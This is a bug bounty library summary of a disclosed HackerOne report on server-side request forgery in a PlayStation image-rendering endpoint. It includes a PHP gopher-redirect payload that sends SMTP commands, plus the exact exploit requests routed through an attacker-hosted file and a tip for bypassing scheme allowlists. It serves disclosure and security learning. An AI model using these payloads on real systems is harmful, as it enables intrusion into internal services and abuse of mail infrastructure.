# SSRF on image renderer

Image renderer endpoint fetched attacker-controlled URLs and followed redirects to gopher://, letting an attacker make Sony EC2 servers send arbitrary SMTP messages.

- Payout: $1,000
- Severity: high
- Program: PlayStation
- Found by: hogarth45
- Disclosed: 2021-01-12
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/811136
- Library page: https://bugbountylibrary.com/r/h1%3A811136
- Tags: area:web domain:web impact:internal-access kind:bounty platform:hackerone sev:high tech:rest technique:chained technique:oob-exfil vuln:ssrf

**Target:** image.api.np.km.playstation.net /images/ endpoint (image parameter)
**Root cause:** The image-fetching service followed HTTP redirects to arbitrary schemes including gopher://, allowing SSRF to internal/arbitrary TCP services.
**Steps:**
1. Host a PHP file that returns `Location: gopher://test.smtp.org:25/_<SMTP commands joined by %0A>`
2. Request `https://image.api.np.km.playstation.net/images/?format=png&image=http%3A%2F%2Fattacker%2Fgopher3.php`
3. Server fetches the PHP, follows the gopher redirect, and speaks SMTP to the target
4. Confirm via SMTP server log that the Sony EC2 instance sent the crafted mail
**How found:** Noticed the `image` parameter accepts arbitrary URLs; hypothesized the fetcher follows redirects and tested whether non-HTTP schemes like gopher:// would be honored.
**Exploitation:** Attacker controls a redirector that issues a gopher:// Location header; the image renderer follows it, opening a raw TCP connection to port 25 and sending attacker-defined SMTP commands (HELO/MAIL FROM/RCPT TO/DATA), proving arbitrary protocol SSRF from Sony infrastructure.
**Insight:** When a server-side image fetcher accepts a URL, test redirect-based scheme smuggling: a 302 to gopher:// or dict:// often bypasses scheme allowlists that only check the initial URL.

## Proof of concept (copied exactly from the original report)

**Gopher redirect PHP payload for SMTP**

```
<?php
        $commands = array(
                'HELO test.org',
                'MAIL FROM: <aaaaaaaaaaa@tester.com>',
                'RCPT TO: <bit-bucket@test.smtp.org>',
                'DATA',
                'Test mail',
                '.'
        );

        $payload = implode('%0A', $commands);

        header('Location: gopher://test.smtp.org:25/_'.$payload);
?>
```

**SSRF request via image parameter**

```
https://image.api.np.km.playstation.net/images/?format=png&image=http%3A%2F%2Fblackdoorsec.net/gopher3.php
```

**Raw HTTP request triggering SSRF**

```
GET /images/?format=png&image=http%3A%2F%2Fblackdoorsec.net/gopher3.php HTTP/1.1
Host: image.api.np.km.playstation.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

